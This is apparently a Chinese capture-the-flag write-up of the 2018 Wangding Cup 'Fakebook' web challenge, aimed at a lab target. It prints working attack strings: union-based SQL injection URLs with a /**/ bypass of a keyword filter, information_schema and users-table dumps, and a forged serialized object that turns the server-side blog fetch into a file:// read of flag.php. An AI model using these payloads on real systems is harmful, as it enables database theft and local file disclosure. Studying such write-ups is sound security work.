[网鼎杯 2018]Fakebook.md

首页

/login.php

/login.php的账号密码直接POST/login.ok.php

认证失败时通过javascript返回上一页

/join.php

/join.php也是直接通过POST实现

提示blog非法

修改bloghttps://www.baidu.com(百度,惨)

username=admin&passwd=123&age=18&blog=https://www.baidu.com

提示加入成功

alert('Join success');
location.href='/';

返回首页能看到相关信息

username这一列还有个超链接,点击能访问/view.php?no=1

下面出现了一个没显示全的滚动条,莫非是隐藏了什么惊天大秘密QwQ

审查元素发现这里直接用的iframe,而且src用的也不是url,而是base64编码过后的html

height属性为1000em,发现解码之后正是刚才join时输入的百度的首页,

这里图片加载不出来好像是图片的src利用了协议依赖加载的原因(?),从base64解码出来的页面不知道是不是把图片路径解析成file://协议了

像上面所说的,既然不是直接在iframe里提供https://www.baidu.comurl,而是提供base64编码的html文件,说明blog所指示的页面是在服务端被访问的

抱着好奇试了试套娃

blog=/view.php?no=3

然后服务器就炸了wuwuwu

Two thousand years later

重启靶机继续迫害(

虽然知道可以利用这一点来让服务器访问任意url,但我想不到怎么利用这点QAQ

于是郁闷的改了改view.phpno参数

/view.php?no=1

靶机重启过,所以no=1是不存在的

好像可以注入的样子,有点起色了

/view.php?no=a

好家伙,报了查询错误,可能确实可以sql注入

/view.php?no=1 union select 1#

no hack _

这个no hack就有种此地无银三百两的意味了QwQ

看看什么东西被ban了

/view.php?no=1 union#

[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1)

/view.php?no=1 select#

还是一样的报语法错误

/view.php?no=union select

no hack _

确定是"union select"被匹配了

尝试用/**/绕过,然后判断注入点

/view.php?no=1 union/**/select 1,2,3,4#

发现第二列对应username

/view.php?no=1 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata#

/view.php?no=1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#

/view.php?no=1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#

后来添加了一个用户

/view.php?no=2 union/**/select 1,group_concat(no),3,4 from fakebook.users#

/view.php?no=2 union/**/select 1,group_concat(username),3,4 from fakebook.users#

/view.php?no=2 union/**/select 1,group_concat(passwd),3,4 from fakebook.users#

/view.php?no=2 union/**/select 1,group_concat(data),3,4 from fakebook.users#

这里发现data字段是序列化过后的用户信息

结合反序列化的错误提示,推测view.php的生成基于data的反序列化

/view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:21:"https://www.baidu.com";}'#

猜测flag放在flag.php

/view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3szNDMyZDYyZS0wMWM3LTQyMzQtOTAxOC1lYzJhMGFmMGQ0NDR9IjsNCmV4aXQoMCk7DQo='>
</div>

结果还真猜对了QwQ

#Web #SQL注入 #反序列化 #RFI